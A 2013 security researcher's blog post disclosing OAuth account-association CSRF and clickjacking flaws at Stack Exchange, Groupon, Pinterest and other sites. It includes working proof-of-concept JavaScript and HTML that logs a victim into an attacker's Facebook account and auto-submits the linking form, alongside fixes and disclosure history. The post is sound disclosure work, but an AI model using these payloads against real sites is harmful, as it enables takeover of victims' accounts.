Common OAuth issue you can use to take over accounts

May 9, 2013

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

Toss the cookies into the victim stackoverflow account The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google) Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

Create an attacker identity provider account (e.g. Facebook) Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook Victim is logged in to accessing application. A malicious site does the following: Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies POSTs to the account association request Attacker Logs out of other sessions At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

Create an attacker Facebook account

Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here . Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.

//fb_login.html function post_without_referer() { // POST request, WebKit & Firefox. Data, meta & form submit trinity location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' + '<form id=dynForm method=POST action=\'https://www.facebook.com/login.php?login_attempt=1\'>' + '<input type=hidden name=email value=yyy@live.com />' + '<input type=hidden name=pass value=xxxxxxxx/>' + '<input type=hidden name=default_persistent value=0 />' + '<input type=hidden name=timezone value=480 />' + '<input type=hidden name=locale value=en_US />' + '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>'; } post_without_referer();

Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.

<html> <body> <script type="text/javascript"> function fb_login() { return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1")); } function stackexchange_addlogin() { document.getElementById("sForm").submit(); } function pwn() { win1 = fb_login(); setTimeout("stackexchange_addlogin()", 7000); //win1.close() } </script> <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p> <p>To repro:</p> <ul> <li>login to stackexchange</li> <li>click "pwn"</li> <li>An attacker now owns your stackexchange account!</li> </ul> <!-- iframe necessary to get cookies if we haven't visited facebook (needed to put a space modify to put on page)--> < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe> <form id="sForm" action="http://stackexchange.com/users/authenticate" method="POST"> <input type="hidden" name="oauth_version" value="2.0" /> <input type="hidden" name="oauth_server" value="https://graph.facebook.com/oauth/authorize" /> <input type="hidden" name="openid_identifier" value="" /> </form> <a href="#" onclick="pwn()">pwn</a> </body> </html>

When a victim clicks on the link, the attacker has added his Facebook account to the victim stackexchange acocunt

There were quite a few other sites affected by this exact same problem, including woot.com, imdb.com, goodreads.com, soundcloud.com, new.myspace.com, and pinterest.com. I was a little depressed when woot.com did not give me a bag o stuff (or even get back to me :(). Some of these were slightly different, but basically the same impact. For example, with stackexchange once an attacker pwned the account, it was very difficult to remove (impossible from stackexchange management console). With others, like woot.com, once you pwned an account you could just remove the victim’s old account.

Groupon,etc Repro

Are you still there after those pictures? There were quite a few sites that were nearly identical to stackexchange, but just slightly different. They all used this POST request thing to associate accounts. Another category is like Groupon. These sites used a Javascript postmessage call to achieve the same result. These sites were not CSRFable in the same way. However, it seems like most of these sites used an iframe in order to do the account association, so were vulnerable to clickjacking.

The following are repro steps for groupon. You’ll find they’re mostly the same as stackexchange, but differences are in bold

Create an attacker Facebook account

Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give groupon access to everything

Use the same script as above to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login.

Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account. Although this is close to the attack above, there are a few differences. Instead of posting to the account association, it replaces the location with a clickjacking script which frames groupon and makes the user click on the account association stuff. For this, I use the clickjacking module I wrote for BeEf

When a victim clicks on the link and clicks a few times in the clickjacking page, the attacker has added his Facebook account to the victim stackexchange account

There were quite a few sites vulnerable to the same thing, including huffingtonpost, foursquare, slideshare, foxnews, and kickstarter.

Overall Risk

The risk here is large. To compare this with classic XSS: xss can steal a session and do some nasty things. But with this, you take over an account forever. You can lock the victim out if you want. Not to mention that even if the CSRF were prevented, if the application has an XSS, you can exploit that to associate the associate the accounts.

Another point is I only took the worst case, where you can add an account to login with. That’s super common, but obviously OAuth is used for tons of stuff. For example, a similar bug on hotmail wouldn’t let you take over their Live account, but it would let you add all your attacker Facebook friends chat with the victim.

Fixes

Whose bug is this?

Can it be fixed on the Identity provider side? Maybe. For starters, Facebook could make their login CSRF proof, but it doesn’t completely mitigate the issue. One attack would be to cookie toss to log the victim in (more on this later). The IDP could separate the flow for login versus “associate account”, which might help. But even though there are some things the IDP can do, this is mostly a consumer side problem.

The state parameter needs to be cryptographically tied to the session cookie, just like a good CSRF protection (for examples of how to get this wrong, see here and here). Additionally, the consumer side should add x-frame-options so it’s not clickjackable. And geez, you should really add a password prompt if you can add an account. It makes no sense to have a password prompt to change your password, but not have one to add your facebook account as a login mechanism.

Update

A few people have asked a bit about disclosures, so I’ll post some info around that here.

I reported all of these to the third parties involved, and in the “stackexchange” case (since it’s worse than clickjacking imo) I really made an effort so that the right people knew about it. In a few cases where their teams didn’t understand the issue I worked with them to make sure their fix was good. Most of this was in the Jan/Feb timeframe this year. I haven’t looked at any of the sites since March though, and in some cases they closed the case and called it fixed, and I didn’t always verify because, you know, I’m doing it for free in my spare time. But I always helped verify if they asked me to :)

I really wanted Facebook to fix the CSRF on their login, since this would have mitigated the immediate issue and with other third party sites. They haven’t. I originally reported this to Facebook in January. I won’t repost the whole conversation, but they basically said this was an issue with the third party sites (which I agree with) and a lot of my recommendations weren’t practical (which I also probably agree with). But I kept harping on the CSRF login. Eventually they sent

…this is something we had previously been aware of and actually built some anti-CSRF systems for, but dealing with CSRF for login has ended up being way more complicated than typical scenarios, and we haven’t yet overcome some of the engineering challenges involved for it to work reliably. (Note that if it doesn’t work correctly, it could potentially lock people out of their Facebook accounts by preventing legitimate logins.) We do plan on getting something better in place, but that will probably take some time to implement. (I’m not familiar with what systems Google and others are using; I’ll have to check into that further.) I think having login CSRF protection on our side would be ideal, but it doesn’t appear that will be practical in the short-term. In the mean time, the larger concern is CSRF issues on third-party sites connecting to Facebook, and we’re actually looking to expand some of our developer documentation to raise further awareness of these issues.

So I sent

Cool, thanks for the update. I might be over-simplifying, but it seems like

since you already set those cookies when someone visits facebook.com you

could just take a hash of one of them (if they’re random, if not maybe of

another cookie), add it to the login post, and then on the login post check

that hash(cookie) == post value.

They sent

I’ve been talking with the engineers who worked on login CSRF before but aren’t yet clear on all the details. We did actually build and deploy a solution, but from what I understand it was blocking too many legitimate requests based on monitoring results.

Anyway, Facebook is full of brilliant people and I’m not trying to bad mouth anybody. They also knew about my March Blackhat talk, and were awesome about everything. But I don’t believe they have any “short term” plans to stop a CSRF on the login.